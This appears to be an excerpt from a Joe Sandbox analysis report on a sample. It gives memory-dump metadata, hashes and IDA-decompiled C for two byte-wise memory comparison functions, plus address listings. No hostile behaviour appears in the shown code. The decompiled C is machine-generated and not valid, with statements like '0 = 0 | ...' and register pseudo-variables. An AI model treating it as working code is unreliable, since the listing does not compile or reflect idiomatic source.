Source File: 00000000.00000002.350626305.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.350605300.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350817661.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350840826.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350861964.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.351001080.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FKN6uh7y01.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction ID: 134c3b0efb6b6af81178ba69d873d8d81fbfcad82de4e5682731c81e0e84fc30
Opcode Fuzzy Hash: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction Fuzzy Hash: 29D17773C0A9B34AC736812E416822FEE626FD1A4031EC7F69C903F7C9963B9D1596D4

Uniqueness

Uniqueness Score: -1.00%

Function 0040EAFD Relevance: .4, Instructions: 378
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0040EAFD(void* __eax, void* __ecx) {
				void* _t191;
				signed int _t192;
				void* _t195;
				signed char _t201;
				signed char _t202;
				signed char _t203;
				signed char _t204;
				signed char _t206;
				signed int _t211;
				signed int _t309;
				void* _t312;
				void* _t314;
				void* _t316;
				void* _t318;
				void* _t321;
				void* _t323;
				void* _t325;
				void* _t328;
				void* _t330;
				void* _t332;
				void* _t335;
				void* _t337;
				void* _t339;
				void* _t342;
				void* _t344;
				void* _t346;
				void* _t349;
				void* _t351;
				void* _t353;

				_t195 = __ecx;
				_t191 = __eax;
				if( *((intOrPtr*)(__eax - 0x1e)) ==  *((intOrPtr*)(__ecx - 0x1e))) {
					_t309 = 0;
					L15:
					if(_t309 != 0) {
						goto L1;
					}
					_t201 =  *(_t191 - 0x1a);
					if(_t201 ==  *(_t195 - 0x1a)) {
						_t309 = 0;
						L26:
						if(_t309 != 0) {
							goto L1;
						}
						_t202 =  *(_t191 - 0x16);
						if(_t202 ==  *(_t195 - 0x16)) {
							_t309 = 0;
							L37:
							if(_t309 != 0) {
								goto L1;
							}
							_t203 =  *(_t191 - 0x12);
							if(_t203 ==  *(_t195 - 0x12)) {
								_t309 = 0;
								L48:
								if(_t309 != 0) {
									goto L1;
								}
								_t204 =  *(_t191 - 0xe);
								if(_t204 ==  *(_t195 - 0xe)) {
									_t309 = 0;
									L59:
									if(_t309 != 0) {
										goto L1;
									}
									if( *(_t191 - 0xa) ==  *(_t195 - 0xa)) {
										_t309 = 0;
										L70:
										if(_t309 != 0) {
											goto L1;
										}
										_t206 =  *(_t191 - 6);
										if(_t206 ==  *(_t195 - 6)) {
											_t309 = 0;
											L81:
											if(_t309 != 0) {
												goto L1;
											}
											if( *(_t191 - 2) ==  *(_t195 - 2)) {
												_t192 = 0;
												L3:
												return _t192;
											}
											_t312 = ( *(_t191 - 2) & 0x000000ff) - ( *(_t195 - 2) & 0x000000ff);
											if(_t312 == 0) {
												L4:
												_t192 = ( *(_t191 - 1) & 0x000000ff) - ( *(_t195 - 1) & 0x000000ff);
												if(_t192 != 0) {
													_t192 = (0 | _t192 > 0x00000000) + (0 | _t192 > 0x00000000) - 1;
												}
												goto L3;
											}
											_t211 = (0 | _t312 > 0x00000000) + (0 | _t312 > 0x00000000) - 1;
											if(_t211 != 0) {
												_t192 = _t211;
												goto L3;
											}
											goto L4;
										}
										_t314 = (_t206 & 0x000000ff) - ( *(_t195 - 6) & 0x000000ff);
										if(_t314 == 0) {
											L74:
											_t316 = ( *(_t191 - 5) & 0x000000ff) - ( *(_t195 - 5) & 0x000000ff);
											if(_t316 == 0) {
												L76:
												_t318 = ( *(_t191 - 4) & 0x000000ff) - ( *(_t195 - 4) & 0x000000ff);
												if(_t318 == 0) {
													L78:
													_t309 = ( *(_t191 - 3) & 0x000000ff) - ( *(_t195 - 3) & 0x000000ff);
													if(_t309 != 0) {
														_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
													}
													goto L81;
												}
												_t309 = (0 | _t318 > 0x00000000) + (0 | _t318 > 0x00000000) - 1;
												if(_t309 != 0) {
													goto L1;
												}
												goto L78;
											}
											_t309 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
											if(_t309 != 0) {
												goto L1;
											}
											goto L76;
										}
										_t309 = (0 | _t314 > 0x00000000) + (0 | _t314 > 0x00000000) - 1;
										if(_t309 != 0) {
											goto L1;
										}
										goto L74;
									}
									_t321 = ( *(_t191 - 0xa) & 0x000000ff) - ( *(_t195 - 0xa) & 0x000000ff);
									if(_t321 == 0) {
										L63:
										_t323 = ( *(_t191 - 9) & 0x000000ff) - ( *(_t195 - 9) & 0x000000ff);
										if(_t323 == 0) {
											L65:
											_t325 = ( *(_t191 - 8) & 0x000000ff) - ( *(_t195 - 8) & 0x000000ff);
											if(_t325 == 0) {
												L67:
												_t309 = ( *(_t191 - 7) & 0x000000ff) - ( *(_t195 - 7) & 0x000000ff);
												if(_t309 != 0) {
													_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
												}
												goto L70;
											}
											_t309 = (0 | _t325 > 0x00000000) + (0 | _t325 > 0x00000000) - 1;
											if(_t309 != 0) {
												goto L1;
											}
											goto L67;
										}
										_t309 = (0 | _t323 > 0x00000000) + (0 | _t323 > 0x00000000) - 1;
										if(_t309 != 0) {
											goto L1;
										}
										goto L65;
									}
									_t309 = (0 | _t321 > 0x00000000) + (0 | _t321 > 0x00000000) - 1;
									if(_t309 != 0) {
										goto L1;
									}
									goto L63;
								}
								_t328 = (_t204 & 0x000000ff) - ( *(_t195 - 0xe) & 0x000000ff);
								if(_t328 == 0) {
									L52:
									_t330 = ( *(_t191 - 0xd) & 0x000000ff) - ( *(_t195 - 0xd) & 0x000000ff);
									if(_t330 == 0) {
										L54:
										_t332 = ( *(_t191 - 0xc) & 0x000000ff) - ( *(_t195 - 0xc) & 0x000000ff);
										if(_t332 == 0) {
											L56:
											_t309 = ( *(_t191 - 0xb) & 0x000000ff) - ( *(_t195 - 0xb) & 0x000000ff);
											if(_t309 != 0) {
												_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
											}
											goto L59;
										}
										_t309 = (0 | _t332 > 0x00000000) + (0 | _t332 > 0x00000000) - 1;
										if(_t309 != 0) {
											goto L1;
										}
										goto L56;
									}
									_t309 = (0 | _t330 > 0x00000000) + (0 | _t330 > 0x00000000) - 1;
									if(_t309 != 0) {
										goto L1;
									}
									goto L54;
								}
								_t309 = (0 | _t328 > 0x00000000) + (0 | _t328 > 0x00000000) - 1;
								if(_t309 != 0) {
									goto L1;
								}
								goto L52;
							}
							_t335 = (_t203 & 0x000000ff) - ( *(_t195 - 0x12) & 0x000000ff);
							if(_t335 == 0) {
								L41:
								_t337 = ( *(_t191 - 0x11) & 0x000000ff) - ( *(_t195 - 0x11) & 0x000000ff);
								if(_t337 == 0) {
									L43:
									_t339 = ( *(_t191 - 0x10) & 0x000000ff) - ( *(_t195 - 0x10) & 0x000000ff);
									if(_t339 == 0) {
										L45:
										_t309 = ( *(_t191 - 0xf) & 0x000000ff) - ( *(_t195 - 0xf) & 0x000000ff);
										if(_t309 != 0) {
											_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
										}
										goto L48;
									}
									_t309 = (0 | _t339 > 0x00000000) + (0 | _t339 > 0x00000000) - 1;
									if(_t309 != 0) {
										goto L1;
									}
									goto L45;
								}
								_t309 = (0 | _t337 > 0x00000000) + (0 | _t337 > 0x00000000) - 1;
								if(_t309 != 0) {
									goto L1;
								}
								goto L43;
							}
							_t309 = (0 | _t335 > 0x00000000) + (0 | _t335 > 0x00000000) - 1;
							if(_t309 != 0) {
								goto L1;
							}
							goto L41;
						}
						_t342 = (_t202 & 0x000000ff) - ( *(_t195 - 0x16) & 0x000000ff);
						if(_t342 == 0) {
							L30:
							_t344 = ( *(_t191 - 0x15) & 0x000000ff) - ( *(_t195 - 0x15) & 0x000000ff);
							if(_t344 == 0) {
								L32:
								_t346 = ( *(_t191 - 0x14) & 0x000000ff) - ( *(_t195 - 0x14) & 0x000000ff);
								if(_t346 == 0) {
									L34:
									_t309 = ( *(_t191 - 0x13) & 0x000000ff) - ( *(_t195 - 0x13) & 0x000000ff);
									if(_t309 != 0) {
										_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
									}
									goto L37;
								}
								_t309 = (0 | _t346 > 0x00000000) + (0 | _t346 > 0x00000000) - 1;
								if(_t309 != 0) {
									goto L1;
								}
								goto L34;
							}
							_t309 = (0 | _t344 > 0x00000000) + (0 | _t344 > 0x00000000) - 1;
							if(_t309 != 0) {
								goto L1;
							}
							goto L32;
						}
						_t309 = (0 | _t342 > 0x00000000) + (0 | _t342 > 0x00000000) - 1;
						if(_t309 != 0) {
							goto L1;
						}
						goto L30;
					}
					_t349 = (_t201 & 0x000000ff) - ( *(_t195 - 0x1a) & 0x000000ff);
					if(_t349 == 0) {
						L19:
						_t351 = ( *(_t191 - 0x19) & 0x000000ff) - ( *(_t195 - 0x19) & 0x000000ff);
						if(_t351 == 0) {
							L21:
							_t353 = ( *(_t191 - 0x18) & 0x000000ff) - ( *(_t195 - 0x18) & 0x000000ff);
							if(_t353 == 0) {
								L23:
								_t309 = ( *(_t191 - 0x17) & 0x000000ff) - ( *(_t195 - 0x17) & 0x000000ff);
								if(_t309 != 0) {
									_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
								}
								goto L26;
							}
							_t309 = (0 | _t353 > 0x00000000) + (0 | _t353 > 0x00000000) - 1;
							if(_t309 != 0) {
								goto L1;
							}
							goto L23;
						}
						_t309 = (0 | _t351 > 0x00000000) + (0 | _t351 > 0x00000000) - 1;
						if(_t309 != 0) {
							goto L1;
						}
						goto L21;
					}
					_t309 = (0 | _t349 > 0x00000000) + (0 | _t349 > 0x00000000) - 1;
					if(_t309 != 0) {
						goto L1;
					}
					goto L19;
				} else {
					__esi = __dl & 0x000000ff;
					__edx =  *(__ecx - 0x1e) & 0x000000ff;
					__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x1e) & 0x000000ff);
					if(__esi == 0) {
						L8:
						__esi =  *(__eax - 0x1d) & 0x000000ff;
						__edx =  *(__ecx - 0x1d) & 0x000000ff;
						__esi = ( *(__eax - 0x1d) & 0x000000ff) - ( *(__ecx - 0x1d) & 0x000000ff);
						if(__esi == 0) {
							L10:
							__esi =  *(__eax - 0x1c) & 0x000000ff;
							__edx =  *(__ecx - 0x1c) & 0x000000ff;
							__esi = ( *(__eax - 0x1c) & 0x000000ff) - ( *(__ecx - 0x1c) & 0x000000ff);
							if(__esi == 0) {
								L12:
								__esi =  *(__eax - 0x1b) & 0x000000ff;
								__edx =  *(__ecx - 0x1b) & 0x000000ff;
								__esi = ( *(__eax - 0x1b) & 0x000000ff) - ( *(__ecx - 0x1b) & 0x000000ff);
								if(__esi != 0) {
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = (__esi > 0) + (__esi > 0) - 1;
								}
								goto L15;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L1;
							}
							goto L12;
						}
						0 = 0 | __esi > 0x00000000;
						__edx = (__esi > 0) + (__esi > 0) - 1;
						__esi = __edx;
						if(__edx != 0) {
							goto L1;
						}
						goto L10;
					}
					0 = 0 | __esi > 0x00000000;
					__edx = (__esi > 0) + (__esi > 0) - 1;
					__esi = __edx;
					if(__edx != 0) {
						goto L1;
					}
					goto L8;
				}
				L1:
				_t192 = _t309;
				goto L3;
			}

0x0040eafd
0x0040eafd
0x0040eb03
0x0040eb82
0x0040eb84
0x0040eb86
0x00000000
0x00000000
0x0040eb8c
0x0040eb92
0x0040ec11
0x0040ec13
0x0040ec15
0x00000000
0x00000000
0x0040ec1b
0x0040ec21
0x0040eca0
0x0040eca2
0x0040eca4
0x00000000
0x00000000
0x0040ecaa
0x0040ecb0
0x0040ed2f
0x0040ed31
0x0040ed33
0x00000000
0x00000000
0x0040ed39
0x0040ed3f
0x0040edbe
0x0040edc0
0x0040edc2
0x00000000
0x00000000
0x0040edce
0x0040ee4e
0x0040ee50
0x0040ee52
0x00000000
0x00000000
0x0040ee58
0x0040ee5e
0x0040eedd
0x0040eedf
0x0040eee1
0x00000000
0x00000000
0x0040eeef
0x0040e6e9
0x0040e6eb
0x0040f447
0x0040f447
0x0040eefd
0x0040eeff
0x0040eadb
0x0040eae3
0x0040eae5
0x0040eaf6
0x0040eaf6
0x00000000
0x0040eae5
0x0040ef0c
0x0040ef12
0x0040f32b
0x00000000
0x0040f32b
0x00000000
0x0040ef18
0x0040ee67
0x0040ee69
0x0040ee80
0x0040ee88
0x0040ee8a
0x0040eea1
0x0040eea9
0x0040eeab
0x0040eec2
0x0040eeca
0x0040eecc
0x0040eed9
0x0040eed9
0x00000000
0x0040eecc
0x0040eeb8
0x0040eebc
0x00000000
0x00000000
0x00000000
0x0040eebc
0x0040ee97
0x0040ee9b
0x00000000
0x00000000
0x00000000
0x0040ee9b
0x0040ee76
0x0040ee7a
0x00000000
0x00000000
0x00000000
0x0040ee7a
0x0040edd8
0x0040edda
0x0040edf1
0x0040edf9
0x0040edfb
0x0040ee12
0x0040ee1a
0x0040ee1c
0x0040ee33
0x0040ee3b
0x0040ee3d
0x0040ee4a
0x0040ee4a
0x00000000
0x0040ee3d
0x0040ee29
0x0040ee2d
0x00000000
0x00000000
0x00000000
0x0040ee2d
0x0040ee08
0x0040ee0c
0x00000000
0x00000000
0x00000000
0x0040ee0c
0x0040ede7
0x0040edeb
0x00000000
0x00000000
0x00000000
0x0040edeb
0x0040ed48
0x0040ed4a
0x0040ed61
0x0040ed69
0x0040ed6b
0x0040ed82
0x0040ed8a
0x0040ed8c
0x0040eda3
0x0040edab
0x0040edad
0x0040edba
0x0040edba
0x00000000
0x0040edad
0x0040ed99
0x0040ed9d
0x00000000
0x00000000
0x00000000
0x0040ed9d
0x0040ed78
0x0040ed7c
0x00000000
0x00000000
0x00000000
0x0040ed7c
0x0040ed57
0x0040ed5b
0x00000000
0x00000000
0x00000000
0x0040ed5b
0x0040ecb9
0x0040ecbb
0x0040ecd2
0x0040ecda
0x0040ecdc
0x0040ecf3
0x0040ecfb
0x0040ecfd
0x0040ed14
0x0040ed1c
0x0040ed1e
0x0040ed2b
0x0040ed2b
0x00000000
0x0040ed1e
0x0040ed0a
0x0040ed0e
0x00000000
0x00000000
0x00000000
0x0040ed0e
0x0040ece9
0x0040eced
0x00000000
0x00000000
0x00000000
0x0040eced
0x0040ecc8
0x0040eccc
0x00000000
0x00000000
0x00000000
0x0040eccc
0x0040ec2a
0x0040ec2c
0x0040ec43
0x0040ec4b
0x0040ec4d
0x0040ec64
0x0040ec6c
0x0040ec6e
0x0040ec85
0x0040ec8d
0x0040ec8f
0x0040ec9c
0x0040ec9c
0x00000000
0x0040ec8f
0x0040ec7b
0x0040ec7f
0x00000000
0x00000000
0x00000000
0x0040ec7f
0x0040ec5a
0x0040ec5e
0x00000000
0x00000000
0x00000000
0x0040ec5e
0x0040ec39
0x0040ec3d
0x00000000
0x00000000
0x00000000
0x0040ec3d
0x0040eb9b
0x0040eb9d
0x0040ebb4
0x0040ebbc
0x0040ebbe
0x0040ebd5
0x0040ebdd
0x0040ebdf
0x0040ebf6
0x0040ebfe
0x0040ec00
0x0040ec0d
0x0040ec0d
0x00000000
0x0040ec00
0x0040ebec
0x0040ebf0
0x00000000
0x00000000
0x00000000
0x0040ebf0
0x0040ebcb
0x0040ebcf
0x00000000
0x00000000
0x00000000
0x0040ebcf
0x0040ebaa
0x0040ebae
0x00000000
0x00000000
0x00000000
0x0040eb05
0x0040eb05
0x0040eb08
0x0040eb0c
0x0040eb0e
0x0040eb25
0x0040eb25
0x0040eb29
0x0040eb2d
0x0040eb2f
0x0040eb46
0x0040eb46
0x0040eb4a
0x0040eb4e
0x0040eb50
0x0040eb67
0x0040eb67
0x0040eb6b
0x0040eb6f
0x0040eb71
0x0040eb77
0x0040eb7a
0x0040eb7e
0x0040eb7e
0x00000000
0x0040eb71
0x0040eb56
0x0040eb59
0x0040eb5d
0x0040eb61
0x00000000
0x00000000
0x00000000
0x0040eb61
0x0040eb35
0x0040eb38
0x0040eb3c
0x0040eb40
0x00000000
0x00000000
0x00000000
0x0040eb40
0x0040eb14
0x0040eb17
0x0040eb1b
0x0040eb1f
0x00000000
0x00000000
0x00000000
0x0040eb1f
0x0040e316
0x0040e316
0x00000000

Memory Dump Source

Source File: 00000000.00000002.350626305.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.350605300.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350817661.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350840826.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350861964.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.351001080.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FKN6uh7y01.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction ID: 5fda2c05e420d78328d13e16033b611e7eea9ae0cebf91567c964b2d597041f1
Opcode Fuzzy Hash: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction Fuzzy Hash: E9D16973C0A9B34AC735812E415822FEE626FD1A5031ECBF69C943F3C9923B9D2196D4

Uniqueness

Uniqueness Score: -1.00%

Function 0040E6F1 Relevance: .4, Instructions: 361
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0040E6F1(void* __eax, void* __ecx) {
				void* _t183;
				signed int _t184;
				void* _t187;
				signed char _t193;
				signed char _t194;
				signed char _t195;
				signed char _t196;
				signed char _t198;
				signed int _t296;
				void* _t299;
				void* _t301;
				void* _t303;
				void* _t306;
				void* _t308;
				void* _t310;
				void* _t313;
				void* _t315;
				void* _t317;
				void* _t320;
				void* _t322;
				void* _t324;
				void* _t327;
				void* _t329;
				void* _t331;
				void* _t334;
				void* _t336;
				void* _t338;

				_t187 = __ecx;
				_t183 = __eax;
				if( *((intOrPtr*)(__eax - 0x1d)) ==  *((intOrPtr*)(__ecx - 0x1d))) {
					_t296 = 0;
					L12:
					if(_t296 != 0) {
						goto L1;
					}
					_t193 =  *(_t183 - 0x19);
					if(_t193 ==  *(_t187 - 0x19)) {
						_t296 = 0;
						L23:
						if(_t296 != 0) {
							goto L1;
						}
						_t194 =  *(_t183 - 0x15);
						if(_t194 ==  *(_t187 - 0x15)) {
							_t296 = 0;
							L34:
							if(_t296 != 0) {
								goto L1;
							}
							_t195 =  *(_t183 - 0x11);
							if(_t195 ==  *(_t187 - 0x11)) {
								_t296 = 0;
								L45:
								if(_t296 != 0) {
									goto L1;
								}
								_t196 =  *(_t183 - 0xd);
								if(_t196 ==  *(_t187 - 0xd)) {
									_t296 = 0;
									L56:
									if(_t296 != 0) {
										goto L1;
									}
									if( *(_t183 - 9) ==  *(_t187 - 9)) {
										_t296 = 0;
										L67:
										if(_t296 != 0) {
											goto L1;
										}
										_t198 =  *(_t183 - 5);
										if(_t198 ==  *(_t187 - 5)) {
											_t296 = 0;
											L78:
											if(_t296 != 0) {
												goto L1;
											}
											_t184 = ( *(_t183 - 1) & 0x000000ff) - ( *(_t187 - 1) & 0x000000ff);
											if(_t184 != 0) {
												_t184 = (0 | _t184 > 0x00000000) + (0 | _t184 > 0x00000000) - 1;
											}
											L2:
											return _t184;
										}
										_t299 = (_t198 & 0x000000ff) - ( *(_t187 - 5) & 0x000000ff);
										if(_t299 == 0) {
											L71:
											_t301 = ( *(_t183 - 4) & 0x000000ff) - ( *(_t187 - 4) & 0x000000ff);
											if(_t301 == 0) {
												L73:
												_t303 = ( *(_t183 - 3) & 0x000000ff) - ( *(_t187 - 3) & 0x000000ff);
												if(_t303 == 0) {
													L75:
													_t296 = ( *(_t183 - 2) & 0x000000ff) - ( *(_t187 - 2) & 0x000000ff);
													if(_t296 != 0) {
														_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
													}
													goto L78;
												}
												_t296 = (0 | _t303 > 0x00000000) + (0 | _t303 > 0x00000000) - 1;
												if(_t296 != 0) {
													goto L1;
												}
												goto L75;
											}
											_t296 = (0 | _t301 > 0x00000000) + (0 | _t301 > 0x00000000) - 1;
											if(_t296 != 0) {
												goto L1;
											}
											goto L73;
										}
										_t296 = (0 | _t299 > 0x00000000) + (0 | _t299 > 0x00000000) - 1;
										if(_t296 != 0) {
											goto L1;
										}
										goto L71;
									}
									_t306 = ( *(_t183 - 9) & 0x000000ff) - ( *(_t187 - 9) & 0x000000ff);
									if(_t306 == 0) {
										L60:
										_t308 = ( *(_t183 - 8) & 0x000000ff) - ( *(_t187 - 8) & 0x000000ff);
										if(_t308 == 0) {
											L62:
											_t310 = ( *(_t183 - 7) & 0x000000ff) - ( *(_t187 - 7) & 0x000000ff);
											if(_t310 == 0) {
												L64:
												_t296 = ( *(_t183 - 6) & 0x000000ff) - ( *(_t187 - 6) & 0x000000ff);
												if(_t296 != 0) {
													_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
												}
												goto L67;
											}
											_t296 = (0 | _t310 > 0x00000000) + (0 | _t310 > 0x00000000) - 1;
											if(_t296 != 0) {
												goto L1;
											}
											goto L64;
										}
										_t296 = (0 | _t308 > 0x00000000) + (0 | _t308 > 0x00000000) - 1;
										if(_t296 != 0) {
											goto L1;
										}
										goto L62;
									}
									_t296 = (0 | _t306 > 0x00000000) + (0 | _t306 > 0x00000000) - 1;
									if(_t296 != 0) {
										goto L1;
									}
									goto L60;
								}
								_t313 = (_t196 & 0x000000ff) - ( *(_t187 - 0xd) & 0x000000ff);
								if(_t313 == 0) {
									L49:
									_t315 = ( *(_t183 - 0xc) & 0x000000ff) - ( *(_t187 - 0xc) & 0x000000ff);
									if(_t315 == 0) {
										L51:
										_t317 = ( *(_t183 - 0xb) & 0x000000ff) - ( *(_t187 - 0xb) & 0x000000ff);
										if(_t317 == 0) {
											L53:
											_t296 = ( *(_t183 - 0xa) & 0x000000ff) - ( *(_t187 - 0xa) & 0x000000ff);
											if(_t296 != 0) {
												_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
											}
											goto L56;
										}
										_t296 = (0 | _t317 > 0x00000000) + (0 | _t317 > 0x00000000) - 1;
										if(_t296 != 0) {
											goto L1;
										}
										goto L53;
									}
									_t296 = (0 | _t315 > 0x00000000) + (0 | _t315 > 0x00000000) - 1;
									if(_t296 != 0) {
										goto L1;
									}
									goto L51;
								}
								_t296 = (0 | _t313 > 0x00000000) + (0 | _t313 > 0x00000000) - 1;
								if(_t296 != 0) {
									goto L1;
								}
								goto L49;
							}
							_t320 = (_t195 & 0x000000ff) - ( *(_t187 - 0x11) & 0x000000ff);
							if(_t320 == 0) {
								L38:
								_t322 = ( *(_t183 - 0x10) & 0x000000ff) - ( *(_t187 - 0x10) & 0x000000ff);
								if(_t322 == 0) {
									L40:
									_t324 = ( *(_t183 - 0xf) & 0x000000ff) - ( *(_t187 - 0xf) & 0x000000ff);
									if(_t324 == 0) {
										L42:
										_t296 = ( *(_t183 - 0xe) & 0x000000ff) - ( *(_t187 - 0xe) & 0x000000ff);
										if(_t296 != 0) {
											_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
										}
										goto L45;
									}
									_t296 = (0 | _t324 > 0x00000000) + (0 | _t324 > 0x00000000) - 1;
									if(_t296 != 0) {
										goto L1;
									}
									goto L42;
								}
								_t296 = (0 | _t322 > 0x00000000) + (0 | _t322 > 0x00000000) - 1;
								if(_t296 != 0) {
									goto L1;
								}
								goto L40;
							}
							_t296 = (0 | _t320 > 0x00000000) + (0 | _t320 > 0x00000000) - 1;
							if(_t296 != 0) {
								goto L1;
							}
							goto L38;
						}
						_t327 = (_t194 & 0x000000ff) - ( *(_t187 - 0x15) & 0x000000ff);
						if(_t327 == 0) {
							L27:
							_t329 = ( *(_t183 - 0x14) & 0x000000ff) - ( *(_t187 - 0x14) & 0x000000ff);
							if(_t329 == 0) {
								L29:
								_t331 = ( *(_t183 - 0x13) & 0x000000ff) - ( *(_t187 - 0x13) & 0x000000ff);
								if(_t331 == 0) {
									L31:
									_t296 = ( *(_t183 - 0x12) & 0x000000ff) - ( *(_t187 - 0x12) & 0x000000ff);
									if(_t296 != 0) {
										_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
									}
									goto L34;
								}
								_t296 = (0 | _t331 > 0x00000000) + (0 | _t331 > 0x00000000) - 1;
								if(_t296 != 0) {
									goto L1;
								}
								goto L31;
							}
							_t296 = (0 | _t329 > 0x00000000) + (0 | _t329 > 0x00000000) - 1;
							if(_t296 != 0) {
								goto L1;
							}
							goto L29;
						}
						_t296 = (0 | _t327 > 0x00000000) + (0 | _t327 > 0x00000000) - 1;
						if(_t296 != 0) {
							goto L1;
						}
						goto L27;
					}
					_t334 = (_t193 & 0x000000ff) - ( *(_t187 - 0x19) & 0x000000ff);
					if(_t334 == 0) {
						L16:
						_t336 = ( *(_t183 - 0x18) & 0x000000ff) - ( *(_t187 - 0x18) & 0x000000ff);
						if(_t336 == 0) {
							L18:
							_t338 = ( *(_t183 - 0x17) & 0x000000ff) - ( *(_t187 - 0x17) & 0x000000ff);
							if(_t338 == 0) {
								L20:
								_t296 = ( *(_t183 - 0x16) & 0x000000ff) - ( *(_t187 - 0x16) & 0x000000ff);
								if(_t296 != 0) {
									_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
								}
								goto L23;
							}
							_t296 = (0 | _t338 > 0x00000000) + (0 | _t338 > 0x00000000) - 1;
							if(_t296 != 0) {
								goto L1;
							}
							goto L20;
						}
						_t296 = (0 | _t336 > 0x00000000) + (0 | _t336 > 0x00000000) - 1;
						if(_t296 != 0) {
							goto L1;
						}
						goto L18;
					}
					_t296 = (0 | _t334 > 0x00000000) + (0 | _t334 > 0x00000000) - 1;
					if(_t296 != 0) {
						goto L1;
					}
					goto L16;
				} else {
					__esi = __dl & 0x000000ff;
					__edx =  *(__ecx - 0x1d) & 0x000000ff;
					__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x1d) & 0x000000ff);
					if(__esi == 0) {
						L5:
						__esi =  *(__eax - 0x1c) & 0x000000ff;
						__edx =  *(__ecx - 0x1c) & 0x000000ff;
						__esi = ( *(__eax - 0x1c) & 0x000000ff) - ( *(__ecx - 0x1c) & 0x000000ff);
						if(__esi == 0) {
							L7:
							__esi =  *(__eax - 0x1b) & 0x000000ff;
							__edx =  *(__ecx - 0x1b) & 0x000000ff;
							__esi = ( *(__eax - 0x1b) & 0x000000ff) - ( *(__ecx - 0x1b) & 0x000000ff);
							if(__esi == 0) {
								L9:
								__esi =  *(__eax - 0x1a) & 0x000000ff;
								__edx =  *(__ecx - 0x1a) & 0x000000ff;
								__esi = ( *(__eax - 0x1a) & 0x000000ff) - ( *(__ecx - 0x1a) & 0x000000ff);
								if(__esi != 0) {
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = (__esi > 0) + (__esi > 0) - 1;
								}
								goto L12;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L1;
							}
							goto L9;
						}
						0 = 0 | __esi > 0x00000000;
						__edx = (__esi > 0) + (__esi > 0) - 1;
						__esi = __edx;
						if(__edx != 0) {
							goto L1;
						}
						goto L7;
					}
					0 = 0 | __esi > 0x00000000;
					__edx = (__esi > 0) + (__esi > 0) - 1;
					__esi = __edx;
					if(__edx != 0) {
						goto L1;
					}
					goto L5;
				}
				L1:
				_t184 = _t296;
				goto L2;
			}

0x0040e6f1
0x0040e6f1
0x0040e6f7
0x0040e776
0x0040e778
0x0040e77a
0x00000000
0x00000000
0x0040e780
0x0040e786
0x0040e805
0x0040e807
0x0040e809
0x00000000
0x00000000
0x0040e80f
0x0040e815
0x0040e894
0x0040e896
0x0040e898
0x00000000
0x00000000
0x0040e89e
0x0040e8a4
0x0040e923
0x0040e925
0x0040e927
0x00000000
0x00000000
0x0040e92d
0x0040e933
0x0040e9b2
0x0040e9b4
0x0040e9b6
0x00000000
0x00000000
0x0040e9c2
0x0040ea42
0x0040ea44
0x0040ea46
0x00000000
0x00000000
0x0040ea4c
0x0040ea52
0x0040ead1
0x0040ead3
0x0040ead5
0x00000000
0x00000000
0x0040eae3
0x0040eae5
0x0040eaf6
0x0040eaf6
0x0040e6eb
0x0040f447
0x0040f447
0x0040ea5b
0x0040ea5d
0x0040ea74
0x0040ea7c
0x0040ea7e
0x0040ea95
0x0040ea9d
0x0040ea9f
0x0040eab6
0x0040eabe
0x0040eac0
0x0040eacd
0x0040eacd
0x00000000
0x0040eac0
0x0040eaac
0x0040eab0
